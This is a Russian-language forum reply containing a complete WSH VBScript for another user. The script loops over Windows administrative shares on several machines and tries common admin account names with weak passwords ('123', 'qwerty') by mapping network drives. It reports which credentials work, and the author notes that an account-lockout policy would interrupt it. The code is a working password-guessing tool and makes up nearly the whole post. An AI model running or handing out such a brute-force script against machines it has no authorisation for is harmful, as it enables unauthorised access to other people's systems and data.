[Iska]

HFShak, на WSH:

читать дальше »

Код:

Option Explicit

Dim arrResources
Dim arrLogins
Dim arrPasswords

Dim strResource
Dim strLogin
Dim strPassword

Dim objWshNetwork


arrResources = Array("\\machine01\c$", "\\machine02\c$", "\\machine03\d$")
arrLogins    = Array("Админ", "Администратор", "Administrator")
arrPasswords = Array("123", "111", "qwerty")


Set objWshNetwork = WScript.CreateObject("WScript.Network")

For Each strResource In arrResources
	WScript.Echo strResource
	WScript.Echo "----------------------"
	
	For Each strLogin In arrLogins
		For Each strPassword In arrPasswords
			On Error Resume Next
			objWshNetwork.MapNetworkDrive "", strResource, False, strLogin, strPassword
			
			If Err.Number = 0 Then
				Err.Clear
				On Error Goto 0
				
				WScript.Echo "+", strLogin, vbTab, strPassword
				objWshNetwork.RemoveNetworkDrive strResource, True, False
			Else
				If Err.Number = &H8007052E Then
					WScript.Echo "-", strLogin, vbTab, strPassword
				Else
					WScript.Echo "Unknown error: ", Hex(Err.Number), Err.Description
				End If
				
				On Error Goto 0
			End If
		Next
	Next
	
	WScript.Echo "----------------------"
	WScript.Echo
Next

Set objWshNetwork = Nothing

WScript.Quit 0

Если очень принципиально надо на AutoIt — перепишу. Обратите внимание: если у Вас установлена политика блокировки учётных записей при вводе нескольких неправильных паролей — скрипт наверняка не отработает до конца корректно.